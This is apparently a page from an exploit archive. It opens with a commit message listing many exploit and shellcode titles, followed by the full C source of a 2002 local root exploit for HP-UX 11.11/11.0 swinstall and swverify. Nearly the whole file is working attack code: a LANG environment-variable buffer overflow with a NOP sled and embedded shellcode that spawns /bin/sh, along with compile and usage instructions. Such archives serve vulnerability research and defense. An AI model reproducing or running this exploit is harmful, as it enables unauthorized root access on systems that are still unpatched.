880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
52 lines
No EOL
1.7 KiB
C
52 lines
No EOL
1.7 KiB
C
// source: https://www.securityfocus.com/bid/8986/info
|
|
|
|
HP has reported that some Software Distributor (SD) utilities are prone to a locally exploitable buffer-overrun vulnerability. Affected utilities include swinstall(1M) and swverify(1M).
|
|
|
|
/*
|
|
Program : x_hpux_11i_sw.c
|
|
Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
|
|
Complie : cc x_hpux_11i_sw.c -o x_sw ;./x_sw ( not use gcc for some system)
|
|
Usage : ./x_sw [ off ]
|
|
Tested : HP-UX B11.11 & HP-UX B11.0
|
|
Author : watercloud [@] xfocus.org
|
|
Date : 2002-12-11
|
|
Note : Use as your own risk !!
|
|
*/
|
|
#include<stdio.h>
|
|
#define T_LEN 2124
|
|
#define BUFF_LEN 1688
|
|
#define NOP 0x0b390280
|
|
char shellcode[]=
|
|
"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
|
|
"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
|
|
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
|
|
"/bin/shA";
|
|
|
|
long addr;
|
|
char buffer_env[2496];
|
|
char buffer[T_LEN];
|
|
|
|
void main(argc,argv)
|
|
int argc;
|
|
char ** argv;
|
|
{
|
|
int addr_off = 8208 ;
|
|
long addr_e = 0;
|
|
int n=BUFF_LEN/4,i=0;
|
|
long * ap = (long *) &buffer[BUFF_LEN];
|
|
char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
|
|
long * np = (long *) buffer;
|
|
if(argc >0)
|
|
|
|
addr_off += atoi(argv[1]);
|
|
addr = ( (long) &addr_off +addr_off) /4 * 4 +4;
|
|
for(i=0;i<n;np[i++]=NOP);
|
|
memcpy(sp,shellcode,strlen(shellcode));
|
|
for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
|
|
buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
|
|
sprintf(buffer_env,"LANG=AAA%s",buffer);
|
|
putenv(buffer_env);
|
|
execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
|
|
/* if false ,test swverify. */
|
|
execl("/usr/sbin/swverify","swverify",NULL);
|
|
} |